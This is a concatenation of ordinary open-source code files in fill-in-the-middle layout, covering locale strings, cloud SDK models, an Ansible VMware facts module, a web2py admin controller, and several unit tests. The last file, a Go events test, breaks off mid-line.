<|file_name|>dangi.js<|end_file_name|><|fim▁begin|>define( //begin v1.x content { "field-quarter-short-relative+0": "detta kv.", "field-quarter-short-relative+1": "nästa kv.", "field-tue-relative+-1": "tisdag förra veckan", "field-year": "år", "field-wed-relative+0": "onsdag denna vecka", "field-wed-relative+1": "onsdag nästa vecka", "field-minute": "minut", "field-month-narrow-relative+-1": "förra mån.", "field-tue-narrow-relative+0": "denna tis.", "field-tue-narrow-relative+1": "nästa tis.", "field-thu-short-relative+0": "tors. denna vecka", "field-day-short-relative+-1": "i går", "field-thu-short-relative+1": "tors. nästa vecka", "field-day-relative+0": "i dag", "field-day-short-relative+-2": "i förrgår", "field-day-relative+1": "i morgon", "field-week-narrow-relative+0": "denna v.", "field-day-relative+2": "i övermorgon", "field-week-narrow-relative+1": "nästa v.", "field-wed-narrow-relative+-1": "förra ons.", "field-year-narrow": "år", "field-era-short": "era", "field-year-narrow-relative+0": "i år", "field-tue-relative+0": "tisdag denna vecka", "field-year-narrow-relative+1": "nästa år", "field-tue-relative+1": "tisdag nästa vecka", "field-weekdayOfMonth": "veckodag i månad", "field-second-short": "sek", "field-weekdayOfMonth-narrow": "veckodag i mån.", "field-week-relative+0": "denna vecka", "field-month-relative+0": "denna månad", "field-week-relative+1": "nästa vecka", "field-month-relative+1": "nästa månad", "field-sun-narrow-relative+0": "denna sön.", "field-mon-short-relative+0": "mån. denna vecka", "field-sun-narrow-relative+1": "nästa sön.", "field-mon-short-relative+1": "mån. nästa vecka", "field-second-relative+0": "nu", "field-weekOfMonth": "vecka i månaden", "field-month-short": "m", "field-day": "dag", "field-dayOfYear-short": "dag under året", "field-year-relative+-1": "i fjol", "field-sat-short-relative+-1": "lör. förra veckan", "field-hour-relative+0": "denna timme", "field-second-short-relative+0": "nu", "field-wed-relative+-1": "onsdag förra veckan", "field-sat-narrow-relative+-1": "förra lör.", "field-second": "sekund", "field-hour-short-relative+0": "denna timme", "field-quarter": "kvartal", "field-week-short": "v", "field-day-narrow-relative+0": "idag", "field-day-narrow-relative+1": "imorgon", "field-day-narrow-relative+2": "i övermorgon", "field-tue-short-relative+0": "tis. denna vecka", "field-tue-short-relative+1": "tis. nästa vecka", "field-month-short-relative+-1": "förra mån.", "field-mon-relative+-1": "måndag förra veckan", "field-month": "månad", "field-day-narrow": "dag", "field-minute-short": "min", "field-dayperiod": "fm/em", "field-sat-short-relative+0": "lör. denna vecka", "field-sat-short-relative+1": "lör. nästa vecka", "field-second-narrow": "s", "field-mon-relative+0": "måndag denna vecka", "field-mon-relative+1": "måndag nästa vecka", "field-day-narrow-relative+-1": "igår", "field-year-short": "år", "field-day-narrow-relative+-2": "i förrgår", "field-quarter-relative+-1": "förra kvartalet", "field-dayperiod-narrow": "fm/em", "field-week-narrow-relative+-1": "förra v.", "field-dayOfYear": "dag under året", "field-sat-relative+-1": "lördag förra veckan", "field-hour": "timme", "field-minute-narrow-relative+0": "denna minut", "field-month-relative+-1": "förra månaden", "field-quarter-short": "kv.", "field-sat-narrow-relative+0": "denna lör.", "field-fri-relative+0": "fredag denna vecka", "field-sat-narrow-relative+1": "nästa lör.", "field-fri-relative+1": "fredag nästa vecka", "field-month-narrow-relative+0": "denna mån.", "field-month-narrow-relative+1": "nästa mån.", "field-sun-short-relative+0": "sön. denna vecka", "field-sun-short-relative+1": "sön. nästa vecka", "field-week-relative+-1": "förra veckan", "field-quarter-short-relative+-1": "förra kv.",<|fim▁hole|> "field-minute-relative+0": "denna minut", "field-quarter-relative+1": "nästa kvartal", "field-wed-short-relative+-1": "ons. förra veckan", "field-thu-short-relative+-1": "tors. förra veckan", "field-year-narrow-relative+-1": "i fjol", "field-thu-narrow-relative+-1": "förra tors.", "field-tue-narrow-relative+-1": "förra tis.", "field-weekOfMonth-short": "vk. i mån.", "field-wed-short-relative+0": "ons. denna vecka", "field-wed-short-relative+1": "ons. nästa vecka", "field-sun-relative+-1": "söndag förra veckan", "field-second-narrow-relative+0": "nu", "field-weekday": "veckodag", "field-day-short-relative+0": "i dag", "field-quarter-narrow-relative+0": "detta kv.", "field-sat-relative+0": "lördag denna vecka", "field-day-short-relative+1": "i morgon", "field-quarter-narrow-relative+1": "nästa kv.", "field-sat-relative+1": "lördag nästa vecka", "field-day-short-relative+2": "i övermorgon", "field-week-short-relative+0": "denna v.", "field-week-short-relative+1": "nästa v.", "field-dayOfYear-narrow": "dag under året", "field-month-short-relative+0": "denna mån.", "field-month-short-relative+1": "nästa mån.", "field-weekdayOfMonth-short": "veckodag i mån.", "field-zone-narrow": "tidszon", "field-thu-narrow-relative+0": "denna tors.", "field-thu-narrow-relative+1": "nästa tors.", "field-sun-narrow-relative+-1": "förra sön.", "field-mon-short-relative+-1": "mån. förra veckan", "field-thu-relative+0": "torsdag denna vecka", "field-thu-relative+1": "torsdag nästa vecka", "field-fri-short-relative+-1": "fre. förra veckan", "field-thu-relative+-1": "torsdag förra veckan", "field-week": "vecka", "field-wed-narrow-relative+0": "denna ons.", "field-wed-narrow-relative+1": "nästa ons.", "field-quarter-narrow-relative+-1": "förra kv.", "field-year-short-relative+0": "i år", "field-dayperiod-short": "fm/em", "field-year-short-relative+1": "nästa år", "field-fri-short-relative+0": "fre. denna vecka", "field-fri-short-relative+1": "fre. nästa vecka", "field-week-short-relative+-1": "förra v.", "field-hour-narrow-relative+0": "denna timme", "field-hour-short": "tim", "field-zone-short": "tidszon", "field-month-narrow": "mån", "field-hour-narrow": "h", "field-fri-narrow-relative+-1": "förra fre.", "field-year-relative+0": "i år", "field-year-relative+1": "nästa år", "field-era-narrow": "era", "field-fri-relative+-1": "fredag förra veckan", "field-tue-short-relative+-1": "tis. förra veckan", "field-minute-narrow": "m", "field-year-short-relative+-1": "i fjol", "field-zone": "tidszon", "field-weekOfMonth-narrow": "vk.i mån.", "field-weekday-narrow": "veckodag", "field-quarter-narrow": "kv.", "field-sun-short-relative+-1": "sön. förra veckan", "field-day-relative+-1": "i går", "field-day-relative+-2": "i förrgår", "field-weekday-short": "veckodag", "field-sun-relative+0": "söndag denna vecka", "field-sun-relative+1": "söndag nästa vecka", "field-day-short": "dag", "field-week-narrow": "v", "field-era": "era", "field-fri-narrow-relative+0": "denna fre.", "field-fri-narrow-relative+1": "nästa fre." } //end v1.x content );<|fim▁end|>
"field-minute-short-relative+0": "denna minut", "field-quarter-relative+0": "detta kvartal",
<|file_name|>iam.py<|end_file_name|><|fim▁begin|># Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """BigQuery API IAM policy definitions <|fim▁hole|>""" # BigQuery-specific IAM roles available for tables and views BIGQUERY_DATA_EDITOR_ROLE = "roles/bigquery.dataEditor" """When applied to a table or view, this role provides permissions to read and update data and metadata for the table or view.""" BIGQUERY_DATA_OWNER_ROLE = "roles/bigquery.dataOwner" """When applied to a table or view, this role provides permissions to read and update data and metadata for the table or view, share the table/view, and delete the table/view.""" BIGQUERY_DATA_VIEWER_ROLE = "roles/bigquery.dataViewer" """When applied to a table or view, this role provides permissions to read data and metadata from the table or view.""" BIGQUERY_METADATA_VIEWER_ROLE = "roles/bigquery.metadataViewer" """When applied to a table or view, this role provides persmissions to read metadata from the table or view."""<|fim▁end|>
For all allowed roles and permissions, see: https://cloud.google.com/bigquery/docs/access-control
<|file_name|>vmware_vmkernel_facts.py<|end_file_name|><|fim▁begin|>#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2018, Abhijeet Kasurde <[email protected]> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { 'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community' } DOCUMENTATION = r''' --- module: vmware_vmkernel_facts short_description: Gathers VMKernel facts about an ESXi host description: - This module can be used to gather VMKernel facts about an ESXi host from given ESXi hostname or cluster name. version_added: '2.5' author: - Abhijeet Kasurde (@akasurde) notes: - Tested on vSphere 6.5 requirements: - python >= 2.6 - PyVmomi options: cluster_name: description: - Name of the cluster. - VMKernel facts about each ESXi server will be returned for the given cluster. - If C(esxi_hostname) is not given, this parameter is required. esxi_hostname: description: - ESXi hostname. - VMKernel facts about this ESXi server will be returned. - If C(cluster_name) is not given, this parameter is required. extends_documentation_fragment: vmware.documentation ''' EXAMPLES = r''' - name: Gather VMKernel facts about all ESXi Host in given Cluster vmware_vmkernel_facts: hostname: '{{ vcenter_hostname }}' username: '{{ vcenter_username }}' password: '{{ vcenter_password }}' cluster_name: cluster_name register: cluster_host_vmks - name: Gather VMKernel facts about ESXi Host vmware_vmkernel_facts:<|fim▁hole|> esxi_hostname: '{{ esxi_hostname }}' register: host_vmks ''' RETURN = r''' host_vmk_facts: description: metadata about VMKernel present on given host system returned: success type: dict sample: { "10.76.33.208": [ { "device": "vmk0", "dhcp": true, "enable_ft": false, "enable_management": true, "enable_vmotion": false, "enable_vsan": false, "ipv4_address": "10.76.33.28", "ipv4_subnet_mask": "255.255.255.0", "key": "key-vim.host.VirtualNic-vmk0", "mac": "52:54:00:12:50:ce", "mtu": 1500, "portgroup": "Management Network", "stack": "defaultTcpipStack" }, ] } ''' try: from pyVmomi import vim, vmodl except ImportError: pass from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.vmware import vmware_argument_spec, PyVmomi from ansible.module_utils._text import to_native class VmkernelFactsManager(PyVmomi): def __init__(self, module): super(VmkernelFactsManager, self).__init__(module) cluster_name = self.params.get('cluster_name', None) esxi_host_name = self.params.get('esxi_hostname', None) self.hosts = self.get_all_host_objs(cluster_name=cluster_name, esxi_host_name=esxi_host_name) self.service_type_vmks = dict() self.get_all_vmks_by_service_type() def get_all_vmks_by_service_type(self): """ Function to return information about service types and VMKernel """ for host in self.hosts: self.service_type_vmks[host.name] = dict(vmotion=[], vsan=[], management=[], faultToleranceLogging=[]) for service_type in self.service_type_vmks[host.name].keys(): vmks_list = self.query_service_type_for_vmks(host, service_type) self.service_type_vmks[host.name][service_type] = vmks_list def query_service_type_for_vmks(self, host_system, service_type): """ Function to return list of VMKernels Args: host_system: Host system managed object service_type: Name of service type Returns: List of VMKernel which belongs to that service type """ vmks_list = [] query = None try: query = host_system.configManager.virtualNicManager.QueryNetConfig(service_type) except vim.fault.HostConfigFault as config_fault: self.module.fail_json(msg="Failed to get all VMKs for service type %s due to" " host config fault : %s" % (service_type, to_native(config_fault.msg))) except vmodl.fault.InvalidArgument as invalid_argument: self.module.fail_json(msg="Failed to get all VMKs for service type %s due to" " invalid arguments : %s" % (service_type, to_native(invalid_argument.msg))) except Exception as e: self.module.fail_json(msg="Failed to get all VMKs for service type %s due to" "%s" % (service_type, to_native(e))) if not query.selectedVnic: return vmks_list selected_vnics = [vnic for vnic in query.selectedVnic] vnics_with_service_type = [vnic.device for vnic in query.candidateVnic if vnic.key in selected_vnics] return vnics_with_service_type def gather_host_vmk_facts(self): hosts_facts = {} for host in self.hosts: host_vmk_facts = [] host_network_system = host.config.network if host_network_system: vmks_config = host.config.network.vnic for vmk in vmks_config: host_vmk_facts.append(dict( device=vmk.device, key=vmk.key, portgroup=vmk.portgroup, ipv4_address=vmk.spec.ip.ipAddress, ipv4_subnet_mask=vmk.spec.ip.subnetMask, dhcp=vmk.spec.ip.dhcp, mac=vmk.spec.mac, mtu=vmk.spec.mtu, stack=vmk.spec.netStackInstanceKey, enable_vsan=vmk.device in self.service_type_vmks[host.name]['vsan'], enable_vmotion=vmk.device in self.service_type_vmks[host.name]['vmotion'], enable_management=vmk.device in self.service_type_vmks[host.name]['management'], enable_ft=vmk.device in self.service_type_vmks[host.name]['faultToleranceLogging'], ) ) hosts_facts[host.name] = host_vmk_facts return hosts_facts def main(): argument_spec = vmware_argument_spec() argument_spec.update( cluster_name=dict(type='str', required=False), esxi_hostname=dict(type='str', required=False), ) module = AnsibleModule( argument_spec=argument_spec, required_one_of=[ ['cluster_name', 'esxi_hostname'], ] ) vmware_vmk_config = VmkernelFactsManager(module) module.exit_json(changed=False, host_vmk_facts=vmware_vmk_config.gather_host_vmk_facts()) if __name__ == "__main__": main()<|fim▁end|>
hostname: '{{ vcenter_hostname }}' username: '{{ vcenter_username }}' password: '{{ vcenter_password }}'
<|file_name|>setup.py<|end_file_name|><|fim▁begin|>#!/usr/bin/env python # -*- coding: utf-8 -*- """The setup script.""" from setuptools import setup, find_packages with open('README.rst') as readme_file: readme = readme_file.read() with open('HISTORY.rst') as history_file: history = history_file.read() requirements = [ # TODO: put package requirements here ] setup_requirements = [ # TODO(nbargnesi): put setup requirements (distutils extensions, etc.) here ] test_requirements = [ # TODO: put package test requirements here ] setup( name='proxme', version='0.1.0', description="Serves your proxy auto-config (PAC) content.", long_description=readme + '\n\n' + history, author="Nick Bargnesi", author_email='[email protected]', url='https://github.com/nbargnesi/proxme', packages=find_packages(include=['proxme']), include_package_data=True, install_requires=requirements, license="MIT license", zip_safe=False, keywords='proxme', classifiers=[<|fim▁hole|> 'Development Status :: 2 - Pre-Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English', "Programming Language :: Python :: 2", 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', ], test_suite='tests', tests_require=test_requirements, setup_requires=setup_requirements, entry_points = { 'console_scripts': [ 'proxme = proxme.__main__:main' ], } )<|fim▁end|>
<|file_name|>flac_to_mp3.py<|end_file_name|><|fim▁begin|>#!/usr/bin/env python3 import sys import os<|fim▁hole|> import path_utils import generic_run def puaq(): print("Usage: %s input_file.flac" % path_utils.basename_filtered(__file__)) sys.exit(1) def convert_flac_to_mp3(input_file, output_file, bitrate): cmd = ["ffmpeg", "-i", input_file, "-ab", bitrate, "-map_metadata", "0", "-id3v2_version", "3", output_file] v, r = generic_run.run_cmd_simple(cmd) if not v: print("Failed to convert file from flac to mp3: %s" % r) if __name__ == "__main__": if len(sys.argv) < 2: puaq() input_file = sys.argv[1] output_file = "" if len(sys.argv) == 3: output_file = sys.argv[2] else: output_file = (input_file.rsplit(".", 1)[0]) + ".mp3" bitrate = "192k" convert_flac_to_mp3(input_file, output_file, bitrate)<|fim▁end|>
<|file_name|>EncryptionIdentity.java<|end_file_name|><|fim▁begin|>// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // Code generated by Microsoft (R) AutoRest Code Generator. package com.azure.resourcemanager.datalakestore.models; import com.azure.core.annotation.Fluent; import com.azure.core.util.logging.ClientLogger; import com.fasterxml.jackson.annotation.JsonIgnore; import com.fasterxml.jackson.annotation.JsonProperty; import java.util.UUID;<|fim▁hole|> /** The encryption identity properties. */ @Fluent public class EncryptionIdentity { @JsonIgnore private final ClientLogger logger = new ClientLogger(EncryptionIdentity.class); /* * The type of encryption being used. Currently the only supported type is * 'SystemAssigned'. */ @JsonProperty(value = "type", required = true) private String type; /* * The principal identifier associated with the encryption. */ @JsonProperty(value = "principalId", access = JsonProperty.Access.WRITE_ONLY) private UUID principalId; /* * The tenant identifier associated with the encryption. */ @JsonProperty(value = "tenantId", access = JsonProperty.Access.WRITE_ONLY) private UUID tenantId; /** Creates an instance of EncryptionIdentity class. */ public EncryptionIdentity() { type = "SystemAssigned"; } /** * Get the type property: The type of encryption being used. Currently the only supported type is 'SystemAssigned'. * * @return the type value. */ public String type() { return this.type; } /** * Set the type property: The type of encryption being used. Currently the only supported type is 'SystemAssigned'. * * @param type the type value to set. * @return the EncryptionIdentity object itself. */ public EncryptionIdentity withType(String type) { this.type = type; return this; } /** * Get the principalId property: The principal identifier associated with the encryption. * * @return the principalId value. */ public UUID principalId() { return this.principalId; } /** * Get the tenantId property: The tenant identifier associated with the encryption. * * @return the tenantId value. */ public UUID tenantId() { return this.tenantId; } /** * Validates the instance. * * @throws IllegalArgumentException thrown if the instance is not valid. */ public void validate() { } }<|fim▁end|>
<|file_name|>TestHelper.java<|end_file_name|><|fim▁begin|>package de.v13dev.designpatterns.util; import java.util.List; /** * Created by stebo on 22.03.17. */ public class TestHelper { public static boolean isSortedAscending(List<Integer> list) { if(list.size() < 2) return true; for(int i = 1; i < list.size(); i++) { if(list.get(i - 1) > list.get(i)) { return false; } } return true; } public static boolean isSortedDescending(List<Integer> list) { if(list.size() < 2) return true; <|fim▁hole|> for(int i = 1; i < list.size(); i++) { if(list.get(i - 1) < list.get(i)) { return false; } } return true; } }<|fim▁end|>
<|file_name|>appadmin.py<|end_file_name|><|fim▁begin|># -*- coding: utf-8 -*- # ########################################################## # ## make sure administrator is on localhost # ########################################################### import os import socket import datetime import copy import gluon.contenttype import gluon.fileutils # ## critical --- make a copy of the environment global_env = copy.copy(globals()) global_env['datetime'] = datetime http_host = request.env.http_host.split(':')[0] remote_addr = request.env.remote_addr try: hosts = (http_host, socket.gethostname(), socket.gethostbyname(http_host), '::1','127.0.0.1','::ffff:127.0.0.1') except: hosts = (http_host, ) if request.env.http_x_forwarded_for or request.env.wsgi_url_scheme\ in ['https', 'HTTPS']: session.secure() elif (remote_addr not in hosts) and (remote_addr != "127.0.0.1"): raise HTTP(200, T('appadmin is disabled because insecure channel')) if not gluon.fileutils.check_credentials(request): redirect(URL(a='admin', c='default', f='index')) ignore_rw = True response.view = 'appadmin.html' response.menu = [[T('design'), False, URL('admin', 'default', 'design', args=[request.application])], [T('db'), False, URL('index')], [T('state'), False, URL('state')], [T('cache'), False, URL('ccache')]] # ########################################################## # ## auxiliary functions # ########################################################### def get_databases(request): dbs = {} for (key, value) in global_env.items(): cond = False try: cond = isinstance(value, GQLDB) except: cond = isinstance(value, SQLDB) if cond: dbs[key] = value return dbs databases = get_databases(None) def eval_in_global_env(text): exec ('_ret=%s' % text, {}, global_env) return global_env['_ret'] def get_database(request): if request.args and request.args[0] in databases: return eval_in_global_env(request.args[0]) else: session.flash = T('invalid request') redirect(URL('index')) def get_table(request): db = get_database(request) if len(request.args) > 1 and request.args[1] in db.tables: return (db, request.args[1]) else: session.flash = T('invalid request') redirect(URL('index')) def get_query(request): try: return eval_in_global_env(request.vars.query) except Exception: return None def query_by_table_type(tablename,db,request=request): keyed = hasattr(db[tablename],'_primarykey') if keyed: firstkey = db[tablename][db[tablename]._primarykey[0]] cond = '>0' if firstkey.type in ['string', 'text']: cond = '!=""' qry = '%s.%s.%s%s' % (request.args[0], request.args[1], firstkey.name, cond) else: qry = '%s.%s.id>0' % tuple(request.args[:2]) return qry # ########################################################## # ## list all databases and tables # ########################################################### def index(): return dict(databases=databases) # ########################################################## # ## insert a new record # ########################################################### def insert(): (db, table) = get_table(request) form = SQLFORM(db[table], ignore_rw=ignore_rw) if form.accepts(request.vars, session): response.flash = T('new record inserted') return dict(form=form,table=db[table]) # ########################################################## # ## list all records in table and insert new record # ########################################################### def download(): import os db = get_database(request) return response.download(request,db) def csv(): import gluon.contenttype response.headers['Content-Type'] = \ gluon.contenttype.contenttype('.csv') db = get_database(request) query = get_query(request) if not query: return None response.headers['Content-disposition'] = 'attachment; filename=%s_%s.csv'\ % tuple(request.vars.query.split('.')[:2]) return str(db(query).select()) def import_csv(table, file): table.import_from_csv_file(file) def select(): import re db = get_database(request) dbname = request.args[0] regex = re.compile('(?P<table>\w+)\.(?P<field>\w+)=(?P<value>\d+)') if len(request.args)>1 and hasattr(db[request.args[1]],'_primarykey'): regex = re.compile('(?P<table>\w+)\.(?P<field>\w+)=(?P<value>.+)') if request.vars.query: match = regex.match(request.vars.query) if match: request.vars.query = '%s.%s.%s==%s' % (request.args[0], match.group('table'), match.group('field'), match.group('value')) else: request.vars.query = session.last_query query = get_query(request) if request.vars.start: start = int(request.vars.start) else: start = 0 nrows = 0 stop = start + 100 table = None rows = [] orderby = request.vars.orderby if orderby: orderby = dbname + '.' + orderby if orderby == session.last_orderby: if orderby[0] == '~': orderby = orderby[1:] else: orderby = '~' + orderby session.last_orderby = orderby session.last_query = request.vars.query form = FORM(TABLE(TR(T('Query:'), '', INPUT(_style='width:400px', _name='query', _value=request.vars.query or '', requires=IS_NOT_EMPTY(error_message=T("Cannot be empty")))), TR(T('Update:'), INPUT(_name='update_check', _type='checkbox', value=False), INPUT(_style='width:400px', _name='update_fields', _value=request.vars.update_fields or '')), TR(T('Delete:'), INPUT(_name='delete_check', _class='delete', _type='checkbox', value=False), ''), TR('', '', INPUT(_type='submit', _value='submit'))), _action=URL(r=request,args=request.args)) if request.vars.csvfile != None: try: import_csv(db[request.vars.table], request.vars.csvfile.file) response.flash = T('data uploaded') except Exception, e: response.flash = DIV(T('unable to parse csv file'),PRE(str(e))) if form.accepts(request.vars, formname=None): # regex = re.compile(request.args[0] + '\.(?P<table>\w+)\.id\>0') regex = re.compile(request.args[0] + '\.(?P<table>\w+)\..+') match = regex.match(form.vars.query.strip()) if match: table = match.group('table') try: nrows = db(query).count() if form.vars.update_check and form.vars.update_fields: db(query).update(**eval_in_global_env('dict(%s)' % form.vars.update_fields)) response.flash = T('%s rows updated', nrows) elif form.vars.delete_check: db(query).delete() response.flash = T('%s rows deleted', nrows) nrows = db(query).count() if orderby: rows = db(query).select(limitby=(start, stop), orderby=eval_in_global_env(orderby)) else: rows = db(query).select(limitby=(start, stop)) except Exception, e: (rows, nrows) = ([], 0) response.flash = DIV(T('Invalid Query'),PRE(str(e))) return dict( form=form, table=table, start=start, stop=stop,<|fim▁hole|> # ########################################################## # ## edit delete one record # ########################################################### def update(): (db, table) = get_table(request) keyed = hasattr(db[table],'_primarykey') record = None if keyed: key = [f for f in request.vars if f in db[table]._primarykey] if key: record = db(db[table][key[0]] == request.vars[key[0]]).select().first() else: record = db(db[table].id == request.args(2)).select().first() if not record: qry = query_by_table_type(table, db) session.flash = T('record does not exist') redirect(URL('select', args=request.args[:1], vars=dict(query=qry))) if keyed: for k in db[table]._primarykey: db[table][k].writable=False form = SQLFORM(db[table], record, deletable=True, delete_label=T('Check to delete'), ignore_rw=ignore_rw and not keyed, linkto=URL('select', args=request.args[:1]), upload=URL(r=request, f='download', args=request.args[:1])) if form.accepts(request.vars, session): session.flash = T('done!') qry = query_by_table_type(table, db) redirect(URL('select', args=request.args[:1], vars=dict(query=qry))) return dict(form=form,table=db[table]) # ########################################################## # ## get global variables # ########################################################### def state(): return dict() def ccache(): form = FORM( P(TAG.BUTTON("Clear CACHE?", _type="submit", _name="yes", _value="yes")), P(TAG.BUTTON("Clear RAM", _type="submit", _name="ram", _value="ram")), P(TAG.BUTTON("Clear DISK", _type="submit", _name="disk", _value="disk")), ) if form.accepts(request.vars, session): clear_ram = False clear_disk = False session.flash = "" if request.vars.yes: clear_ram = clear_disk = True if request.vars.ram: clear_ram = True if request.vars.disk: clear_disk = True if clear_ram: cache.ram.clear() session.flash += "Ram Cleared " if clear_disk: cache.disk.clear() session.flash += "Disk Cleared" redirect(URL(r=request)) try: from guppy import hpy; hp=hpy() except ImportError: hp = False import shelve, os, copy, time, math from gluon import portalocker ram = { 'bytes': 0, 'objects': 0, 'hits': 0, 'misses': 0, 'ratio': 0, 'oldest': time.time() } disk = copy.copy(ram) total = copy.copy(ram) for key, value in cache.ram.storage.items(): if isinstance(value, dict): ram['hits'] = value['hit_total'] - value['misses'] ram['misses'] = value['misses'] try: ram['ratio'] = ram['hits'] * 100 / value['hit_total'] except (KeyError, ZeroDivisionError): ram['ratio'] = 0 else: if hp: ram['bytes'] += hp.iso(value[1]).size ram['objects'] += hp.iso(value[1]).count if value[0] < ram['oldest']: ram['oldest'] = value[0] locker = open(os.path.join(request.folder, 'cache/cache.lock'), 'a') portalocker.lock(locker, portalocker.LOCK_EX) disk_storage = shelve.open( os.path.join(request.folder, 'cache/cache.shelve')) for key, value in disk_storage.items(): if isinstance(value, dict): disk['hits'] = value['hit_total'] - value['misses'] disk['misses'] = value['misses'] try: disk['ratio'] = disk['hits'] * 100 / value['hit_total'] except (KeyError, ZeroDivisionError): disk['ratio'] = 0 else: if hp: disk['bytes'] += hp.iso(value[1]).size disk['objects'] += hp.iso(value[1]).count if value[0] < disk['oldest']: disk['oldest'] = value[0] portalocker.unlock(locker) locker.close() disk_storage.close() total['bytes'] = ram['bytes'] + disk['bytes'] total['objects'] = ram['objects'] + disk['objects'] total['hits'] = ram['hits'] + disk['hits'] total['misses'] = ram['misses'] + disk['misses'] try: total['ratio'] = total['hits'] * 100 / (total['hits'] + total['misses']) except (KeyError, ZeroDivisionError): total['ratio'] = 0 if disk['oldest'] < ram['oldest']: total['oldest'] = disk['oldest'] else: total['oldest'] = ram['oldest'] def GetInHMS(seconds): hours = math.floor(seconds / 3600) seconds -= hours * 3600 minutes = math.floor(seconds / 60) seconds -= minutes * 60 seconds = math.floor(seconds) return (hours, minutes, seconds) ram['oldest'] = GetInHMS(time.time() - ram['oldest']) disk['oldest'] = GetInHMS(time.time() - disk['oldest']) total['oldest'] = GetInHMS(time.time() - total['oldest']) return dict(form=form, total=total, ram=ram, disk=disk)<|fim▁end|>
nrows=nrows, rows=rows, query=request.vars.query, )
<|file_name|>heapsize.rs<|end_file_name|><|fim▁begin|>#![cfg(feature = "heapsize_impl")] extern crate heapsize; extern crate linked_hash_map; use linked_hash_map::LinkedHashMap; use heapsize::HeapSizeOf; #[test] fn empty() { assert_eq!(LinkedHashMap::<String, String>::new().heap_size_of_children(), 0); } #[test] fn nonempty() { let mut map = LinkedHashMap::new(); map.insert("hello".to_string(), "world".to_string()); map.insert("hola".to_string(), "mundo".to_string());<|fim▁hole|> map.remove("hello"); assert!(map.heap_size_of_children() != 0); }<|fim▁end|>
map.insert("bonjour".to_string(), "monde".to_string());
<|file_name|>build_record_set_singleton.py<|end_file_name|><|fim▁begin|># coding: utf-8 """ Copyright 2015 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Ref: https://github.com/swagger-api/swagger-codegen """ from datetime import datetime from pprint import pformat from six import iteritems class BuildRecordSetSingleton(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ def __init__(self): """ BuildRecordSetSingleton - a model defined in Swagger :param dict swaggerTypes: The key is attribute name and the value is attribute type. :param dict attributeMap: The key is attribute name and the value is json key in definition. """ self.swagger_types = { 'content': 'BuildRecordSetRest' } self.attribute_map = { 'content': 'content' } self._content = None @property def content(self): """ Gets the content of this BuildRecordSetSingleton. :return: The content of this BuildRecordSetSingleton. :rtype: BuildRecordSetRest<|fim▁hole|> def content(self, content): """ Sets the content of this BuildRecordSetSingleton. :param content: The content of this BuildRecordSetSingleton. :type: BuildRecordSetRest """ self._content = content def to_dict(self): """ Returns the model properties as a dict """ result = {} for attr, _ in iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, datetime): result[attr] = str(value.date()) else: result[attr] = value return result def to_str(self): """ Returns the string representation of the model """ return pformat(self.to_dict()) def __repr__(self): """ For `print` and `pprint` """ return self.to_str()<|fim▁end|>
""" return self._content @content.setter
<|file_name|>events_test.go<|end_file_name|><|fim▁begin|>// Copyright (C) 2014 The Syncthing Authors. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package events_test import ( "fmt" "testing" "time" "github.com/syncthing/syncthing/lib/events" ) const timeout = 100 * time.Millisecond func TestNewLogger(t *testing.T) { l := events.NewLogger() if l == nil { t.Fatal("Unexpected nil Logger") } } func TestSubscriber(t *testing.T) { l := events.NewLogger() s := l.Subscribe(0) defer l.Unsubscribe(s) if s == nil { t.Fatal("Unexpected nil Subscription") } } func TestTimeout(t *testing.T) { l := events.NewLogger() s := l.Subscribe(0) defer l.Unsubscribe(s) _, err := s.Poll(timeout) if err != events.ErrTimeout { t.Fatal("Unexpected non-Timeout error:", err) } } func TestEventBeforeSubscribe(t *testing.T) { l := events.NewLogger() l.Log(events.DeviceConnected, "foo") s := l.Subscribe(0) defer l.Unsubscribe(s) _, err := s.Poll(timeout) if err != events.ErrTimeout { t.Fatal("Unexpected non-Timeout error:", err) } } func TestEventAfterSubscribe(t *testing.T) { l := events.NewLogger() s := l.Subscribe(events.AllEvents) defer l.Unsubscribe(s) l.Log(events.DeviceConnected, "foo") ev, err := s.Poll(timeout) if err != nil { t.Fatal("Unexpected error:", err) } if ev.Type != events.DeviceConnected { t.Error("Incorrect event type", ev.Type) } switch v := ev.Data.(type) { case string: if v != "foo" { t.Error("Incorrect Data string", v) } default: t.Errorf("Incorrect Data type %#v", v) } } func TestEventAfterSubscribeIgnoreMask(t *testing.T) { l := events.NewLogger() s := l.Subscribe(events.DeviceDisconnected) defer l.Unsubscribe(s) l.Log(events.DeviceConnected, "foo") _, err := s.Poll(timeout) if err != events.ErrTimeout { t.Fatal("Unexpected non-Timeout error:", err) } } func TestBufferOverflow(t *testing.T) { l := events.NewLogger() s := l.Subscribe(events.AllEvents) defer l.Unsubscribe(s) t0 := time.Now() for i := 0; i < events.BufferSize*2; i++ { l.Log(events.DeviceConnected, "foo") } if 